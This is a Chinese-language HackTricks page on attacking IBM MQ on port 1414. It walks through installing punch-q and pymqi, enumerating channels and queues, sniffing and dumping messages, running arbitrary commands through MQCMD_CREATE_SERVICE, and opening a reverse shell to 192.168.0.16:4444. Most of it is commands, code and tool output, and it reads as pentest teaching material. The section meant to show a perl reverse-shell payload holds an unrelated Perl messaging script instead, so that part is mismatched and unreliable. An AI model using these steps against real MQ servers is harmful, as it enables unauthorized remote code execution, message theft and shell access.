hacktricks/network-services-pentesting/1414-pentesting-ibmmq.md

20 KiB
Raw Blame History

1414 - IBM MQ 渗透测试

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

基本信息

IBM MQ 是 IBM 的一项技术,用于管理消息队列。与其他消息代理技术一样,它专门用于接收、存储、处理和分类生产者和消费者之间的信息。

默认情况下,它会暴露 IBM MQ TCP 端口 1414。 有时HTTP REST API 可以在端口9443上暴露。 指标Prometheus也可以通过 TCP 端口9157访问。

IBM MQ TCP 端口 1414 可用于操作消息、队列、通道等,也可用于控制实例

IBM 在 https://www.ibm.com/docs/en/ibm-mq 上提供了大量的技术文档。

工具

建议使用的一个简单利用工具是 punch-q,使用 Docker。该工具正在积极使用 Python 库 pymqi

对于更手动的方法,使用 Python 库 pymqi。需要IBM MQ 依赖项

安装 pymqi

需要安装和加载IBM MQ 依赖项

  1. https://login.ibm.com/ 上创建一个账户IBMid
  2. https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc 下载 IBM MQ 库。对于 Linux x86_64下载的文件是 9.0.0.4-IBM-MQC-LinuxX64.tar.gz
  3. 解压缩(tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz)。
  4. 运行 sudo ./mqlicense.sh 接受许可协议。

如果你使用的是 Kali Linux请修改文件 mqlicense.sh:删除/注释以下行(在第 105-110 行之间):

if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
  then
    echo "ERROR: This package is incompatible with this system"
    echo "       This package was built for ${BUILD_PLATFORM}"
    exit 1
fi
  1. 安装以下软件包:
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
  1. 然后,在运行其他使用这些依赖项的工具之前,将.so文件临时添加到LD中export LD_LIBRARY_PATH=/opt/mqm/lib64

然后,您可以克隆项目pymqi:它包含有趣的代码片段、常量等。或者您可以直接使用pip install pymqi安装该库。

使用punch-q

使用Docker

只需使用:sudo docker run --rm -ti leonjza/punch-q

不使用Docker

克隆项目punch-q,然后按照自述文件进行安装(pip install -r requirements.txt && python3 setup.py install)。

安装完成后,可以使用punch-q命令。

枚举

您可以尝试使用punch-qpymqi来枚举队列管理器名称、用户、通道和队列

队列管理器

有时,没有对获取队列管理器名称进行保护:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR

通道

punch-q 使用一个内部(可修改的)字典来查找现有的通道。使用示例:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.

有些IBM MQ实例接受未经身份验证的MQ请求因此不需要--username / --password。当然,访问权限也可能不同。

一旦我们获得一个通道名称(这里是DEV.ADMIN.SVRCONN),我们就可以枚举所有其他通道。

可以使用pymqi中的代码片段code/examples/dis_channels.py来进行枚举:

import logging
import pymqi

logging.basicConfig(level=logging.INFO)

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

prefix = '*'

args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)

qmgr.disconnect()

...但是punch-q也嵌入了那部分(包含更多信息!)。 可以使用以下命令启动:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...

| Name                 | Type              | MCA UID | Conn Name | Xmit Queue | Description     | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN    | Server-connection |         |           |            |                 |            |
| DEV.APP.SVRCONN      | Server-connection | app     |           |            |                 |            |
| SYSTEM.AUTO.RECEIVER | Receiver          |         |           |            | Auto-defined by |            |
| SYSTEM.AUTO.SVRCONN  | Server-connection |         |           |            | Auto-defined by |            |
| SYSTEM.DEF.AMQP      | AMQP              |         |           |            |                 |            |
| SYSTEM.DEF.CLUSRCVR  | Cluster-receiver  |         |           |            |                 |            |
| SYSTEM.DEF.CLUSSDR   | Cluster-sender    |         |           |            |                 |            |
| SYSTEM.DEF.RECEIVER  | Receiver          |         |           |            |                 |            |
| SYSTEM.DEF.REQUESTER | Requester         |         |           |            |                 |            |
| SYSTEM.DEF.SENDER    | Sender            |         |           |            |                 |            |
| SYSTEM.DEF.SERVER    | Server            |         |           |            |                 |            |
| SYSTEM.DEF.SVRCONN   | Server-connection |         |           |            |                 |            |
| SYSTEM.DEF.CLNTCONN  | Client-connection |         |           |            |                 |            |

队列

这里有一个使用 pymqi 的代码片段(dis_queues.py),但是 punch-q 允许检索有关队列的更多信息:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created   | Name                 | Type   | Usage   | Depth  | Rmt. QM | Rmt. Qu | Description                       |
|           |                      |        |         |        | GR Name | eue Nam |                                   |
|           |                      |        |         |        |         | e       |                                   |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 | E                    |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.1          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.2          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.3          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
# Truncated

攻击手法

转储消息

您可以针对队列/通道进行嗅探/转储消息的操作(非破坏性操作)。示例:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump

不要犹豫,对所有已识别的队列进行迭代。

代码执行

在继续之前先了解一些细节IBM MQ可以通过多种方式进行控制MQSC、PCF、控制命令。一些常见的列表可以在IBM MQ文档中找到。 PCF可编程命令格式)是我们重点关注的远程与实例交互的方式。punch-qpymqi都是基于PCF交互的。

您可以在以下位置找到PCF命令列表

一个有趣的命令是MQCMD_CREATE_SERVICE,其文档可以在这里找到。它以一个StartCommand作为参数,指向实例上的一个本地程序(例如:/bin/sh)。

文档中还对该命令进行了警告“注意此命令允许用户以mqm权限运行任意命令。如果授予使用此命令的权限恶意或粗心的用户可能会定义一个损坏您的系统或数据的服务例如删除重要文件。”

注意根据IBM MQ文档管理参考还有一个HTTP端点位于/admin/action/qmgr/{qmgrName}/mqsc用于运行等效的MQSC命令以创建服务DEFINE SERVICE)。这个方面在这里还没有涉及。

使用PCF进行远程程序执行的服务创建/删除可以通过punch-q完成:

示例1

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"

在 IBM MQ 的日志中,您可以读到命令已成功执行:

2023-10-10T19:13:01.713Z AMQ5030I: 命令 '808544aa7fc94c48' 已启动。进程ID(618)[ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]

您还可以枚举机器上现有的程序(这里 /bin/doesnotexist ... 不存在):

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436

Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done

请注意,程序的启动是异步的。因此,您需要第二个项目来利用漏洞 (用于反向shell的监听器不同服务上的文件创建通过网络进行数据泄露...)

示例2

为了方便使用反向shellpunch-q还提供了两个反向shell负载

  • 一个使用bash
  • 一个使用perl

当然,您也可以使用execute命令构建自定义的反向shell负载。

对于bash

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

对于perl

use strict;
use warnings;

# 这是一个Perl脚本示例
# 它用于连接到IBM MQ队列管理器并发送和接收消息

use MQSeries;

# 定义连接参数
my $qmgr_name = 'QMGR_NAME';
my $channel = 'CHANNEL_NAME';
my $host = 'HOST_NAME';
my $port = 'PORT_NUMBER';

# 连接到队列管理器
my $qmgr = MQSeries::QueueManager->new(
    QueueManager => $qmgr_name,
    Channel     => $channel,
    TransportType => MQSeries::MQSERIES_MQXPT_TCP,
    ConnectionName => "$host($port)",
) or die "无法连接到队列管理器: $MQSeries::MQReason\n";

# 打开发送队列
my $send_queue = $qmgr->queue('SEND_QUEUE_NAME') or die "无法打开发送队列: $MQSeries::MQReason\n";

# 打开接收队列
my $recv_queue = $qmgr->queue('RECV_QUEUE_NAME') or die "无法打开接收队列: $MQSeries::MQReason\n";

# 发送消息
my $message = MQSeries::Message->new(
    MsgDesc => {
        Format => MQSeries::MQFMT_STRING,
    },
    Data => 'Hello, World!',
);
$send_queue->put(
    Message => $message,
) or die "无法发送消息: $MQSeries::MQReason\n";

# 接收消息
my $recv_message = MQSeries::Message->new();
$recv_queue->get(
    Message => $recv_message,
) or die "无法接收消息: $MQSeries::MQReason\n";

# 打印接收到的消息内容
print "接收到的消息: " . $recv_message->Data . "\n";

# 关闭队列
$send_queue->Close();
$recv_queue->Close();

# 断开与队列管理器的连接
$qmgr->Disconnect();

这是一个Perl脚本示例用于连接到IBM MQ队列管理器并发送和接收消息。首先需要定义连接参数包括队列管理器名称$qmgr_name)、通道名称($channel)、主机名($host)和端口号($port)。然后,使用这些参数连接到队列管理器。接下来,打开发送队列和接收队列,并分别发送和接收消息。发送消息时,创建一个包含消息内容的MQSeries::Message对象,并使用put方法将其发送到发送队列。接收消息时,创建一个空的MQSeries::Message对象,并使用get方法从接收队列中获取消息。最后,打印接收到的消息内容,并关闭队列和与队列管理器的连接。

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

自定义 PCF

您可以深入研究 IBM MQ 文档,并直接使用 pymqi Python 库来测试在 punch-q 中未实现的特定 PCF 命令。

示例:

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response

qmgr.disconnect()

如果您找不到常量名称,可以参考IBM MQ文档

MQCMD_REFRESH_CLUSTER(十进制 = 73为例。它需要参数MQCA_CLUSTER_NAME(十进制 = 2029可以是*(文档:)

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
    args = {2029: "*"}
    response = pcf.MQCMD_REFRESH_CLUSTER(args)
except pymqi.MQMIError as e:
    print("错误")
else:
    print(response)

qmgr.disconnect()

测试环境

如果您想测试IBM MQ的行为和漏洞可以基于Docker设置本地环境

  1. 在ibm.com和cloud.ibm.com上拥有一个帐户。
  2. 使用以下步骤创建一个容器化的IBM MQ
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2

默认情况下,身份验证已启用,用户名为admin,密码为passw0rd(环境变量MQ_ADMIN_PASSWORD)。 在这里,队列管理器名称已设置为MYQUEUEMGR(变量MQ_QMGR_NAME)。

您应该已经启动并暴露了IBM MQ的端口

 sudo docker ps
CONTAINER ID   IMAGE                                COMMAND                  CREATED         STATUS                    PORTS                                                                    NAMES
58ead165e2fd   icr.io/ibm-messaging/mq:9.3.2.0-r2   "runmqdevserver"         3 seconds ago   Up 3 seconds              0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp   testing-ibmmq

IBM MQ docker镜像的旧版本位于https://hub.docker.com/r/ibmcom/mq/

参考资料